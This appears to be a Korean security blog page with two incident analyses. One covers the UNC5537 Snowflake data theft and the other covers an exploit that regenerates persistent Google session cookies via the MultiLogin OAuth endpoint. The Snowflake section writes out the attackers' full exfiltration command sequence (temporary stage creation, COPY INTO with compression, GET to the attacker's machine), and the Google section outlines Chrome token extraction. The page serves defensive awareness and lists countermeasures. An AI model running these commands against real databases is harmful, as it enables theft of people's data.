1. 개요

- UNC5537 해킹 그룹이 Snowflake 고객 데이터베이스에 접근 및 데이터 탈취
- Infostealer 멀웨어를 통해 획득한 자격 증명을 사용
- 침해된 데이터들은 다크웹에서 판매

 

2. 주요 내용 [1]

[사진 1] 공격 과정 요약

① 계정 탈취

- 공격자들은 Infostealer 악성코드를 활용해 계정 탈취
> 피싱, 불법 복제 소프트웨어 등으로 악성코드 유포
조사에 따르면 악용된 계정 중 79.7%가 이전에 노출된 적이 있음
탈취된 계정 증명은 23년 기준 공격자들의 주요 최초 침투 전략 중 4위에 랭크(전체 침투 사건의 10%)
> VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA 및 METASTEALER Infostealer 활용

 

※ 클라우드 설정 오류로 인한 크리덴셜 유출
> 최근 클라우드가 크게 유행하면서 발생
> 사용자가 민감한 데이터가 저장된 클라우드 DB를 설정 오류로 전체 공개로 설정
> 해당 DB의 URL만 알게된다면 DB에 접근 및 정보 열람이 가능
많은 사용자들의 여러 설정 오류와 같은 실수로 공격자에게 정보를 탈취 당함

 

② 정찰

Snowflake 고객 인스턴스의 초기 접근은 웹 기반 UI(SnowFlake UI , SnowSight) 또는 윈도우 서버 2022에서 실행되는 CLI 도구(SnowSQL)를 이용
> 공격자들은 .NET 및 Java 버전의 FROSTBITE를 정찰 도구로 활용
> .NET 버전은 Snowflake .NET 드라이버와, JAVA 버전은 Snowflake JDBC 드라이버와 연동해 작동
> FROSTBITE는 사용자, 현재 역할, IP, 세션 ID 및 조직 이름 등의 정보를 수집
> 오픈 소스 DB 관리 유틸리티인 DBeaver Ultimate를 사용해 Snowflake 인스턴스 연결 및 쿼리 실행

 

③ 정보 탈취

명령 설명
SHOW TABLES - 정찰 및 모든 DB와 연관된 Table 나열
SELECT * FROM - 관심 있는 개별 Table 다운로드
Ex. SELECT * FROM <Target Database>.<Target Schema>.<Target Table>
LIST/LS - 임시 스테이지를 만들기 전 LIST 명령을 사용해 다른 스테이지 열거 시도 (기존 스테이지 파악 용도)
- 생성된 임시 스테이지는 생성자의 세션이 종료되면 삭제
※ 스테이지: 데이터 파일을 DB 테이블에 로드/언로드하기 위한 이름이 지정된 테이블
Ex. ls <internal or external stage name>
CREATE (TEMP|TEMPORARY) STAGE - CREATE STAGE 명령으로 데이터 저장을 위한 임시 스테이지 생성
Ex. CREATE TEMPORARY STAGE <Redacted Database>.<Redacted Schema>.
<Redacted Attacker Stage Name>;
COPY INTO - 확보한 데이터를 이전에 생성한 임시 스테이지로 복사
- 해당 명령은 내ㆍ외부 스테이지, 내부 Snowflake 테이블로 정보를 복사하는데 사용
- 공격자는 유출 전 데이터의 전체 크기를 줄이기 위해 COMPRESSION 매개변수를 사용해 결과를 GZIP 파일로 압축
Ex. COPY INTO @<Attacker Stage and Path>
FROM (select * FROM <Target Database>.<Target Schema>.<Target Table> )
FILE_FORMAT = ( 
 TYPE='CSV' 
 COMPRESSION=GZIP 
 FIELD_DELIMITER=',' 
 ESCAPE=NONE 
 ESCAPE_UNENCLOSED_FIELD=NONE 
 date_format='AUTO' 
 time_format='AUTO' 
 timestamp_format='AUTO'
 binary_format='UTF-8' 
 field_optionally_enclosed_by='"' 
 null_if='' 
 EMPTY_FIELD_AS_NULL = FALSE 
)  
overwrite=TRUE 
single=FALSE 
max_file_size=5368709120 
header=TRUE;
GET - 임시 스테이지에서 데이터를 로컬로 지정된 디렉토리로 유출
Ex. GET @<target stage and filepath> file:///<Attacker Local Machine Path>;

 

- 공격자는 Mullvad, PIA VPN을 활용해 침해한 Snowflake 인스턴스에 접근
> 탈취한 데이터는 ALEXHOST SRL(몰도바 호스팅 업체)의 VPS(Virtual Private Serve) 시스템에 저장 

 

2.1 특징

- 공격자들은 3가지 특징을 보임
① 다중인증 기능이 활성화 되지 않은 채 Snowflake 계정 사용
② 계정 비밀번호를 오랜 기간 변경 없이 사용
③ 신뢰할 만한 지역에서만 로그인이 가능하도록 하는 옵션 비활성화

 

- 해당 사건은 클라우드 플랫폼 보안에 대한 책임을 사용자와 플랫폼 업체가 공유한다는 개념이 부실하여 생긴 사건
> 플랫폼 업체는 취약점 관리와 클라우드 내 테넌트들끼리 침범하지 못하도록 하는 등 관리 책임
> 사용자는 계정이나 DB를 안전하게 설정하는 등 안전하게 사용할 책임

 

2.2 대응방안

- 주기적인 비밀번호 변경
- 여러 서비스간 동일 비밀번호 사용 금지
- 다중인증 기능 활성화
- 접근 제한 기능 활용 등

 

3. 참고

[1] https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion?hl=en
[2] https://www.dailysecu.com/news/articleView.html?idxno=156822
[3] https://www.boannews.com/media/view.asp?idx=130504&page=1&kind=1
[4] https://www.boannews.com/media/view.asp?idx=130536&page=1&kind=1
[5] https://www.boannews.com/media/view.asp?idx=130594&page=1&kind=1
[6] https://www.boannews.com/media/view.asp?idx=130527&page=1&kind=1

'클라우드 > 보안 사고' 카테고리의 다른 글

캐피탈 원 (Capital One) AWS 해킹  (0) 2023.03.31

1. 개요

- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1]
- 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능
- Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중

 

2. 주요내용 [2]

[영상 1] 시연 영상

 

- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개

세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능

> 해당 툴은 2가지 기능을 지님

① 비밀번호 변경 유무와 상관없이 세션 유지
② 새로운 유효한 쿠키 생성

 

[사진 1] 텔레그램 사진

 

- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존

> 다양한 구글 서비스에서 계정을 동기화하도록 설계
> 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음

 

[사진 2] 리버스 엔지니어링 결과

 

- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출

> 추출을 위해 WebData의 token_service table 참조

> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음

 

[사진 3]  WebData의 token_service table

 

추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성

 

[사진 4] 인증 쿠키 재생성

 

- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능
> 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능

 

3. 대응방안

- 임시 수정 단계

① 모든 브라우저에서 로그아웃하여 세션 토큰 무효화

② 비밀번호 재설정

③ 재로그인하여 새 토큰 생성

※ 참고사이트 임시 수정 단계 참고 [2]

 

- g[.]co/mydevices을 통해 모든 활성 세션 종료

 

- 향상된 세이프 브라우징 사용 [3]

 

4. 참조

[1] https://www.youtube.com/watch?v=NzAtZzzFoOs
[2] https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking
[3] https://support.google.com/accounts/answer/11577602?hl=ko
[4] https://securityaffairs.com/156723/hacking/exploit-regenerates-google-cookies.html
[5] https://www.bleepingcomputer.com/news/security/google-malware-abusing-api-is-standard-token-theft-not-an-api-issue/#google_vignette
[6] https://www.dailysecu.com/news/articleView.html?idxno=152620
[7] https://www.dailysecu.com/news/articleView.html?idxno=152653
[8] https://www.boannews.com/media/view.asp?idx=125357&page=9&kind=1

+ Recent posts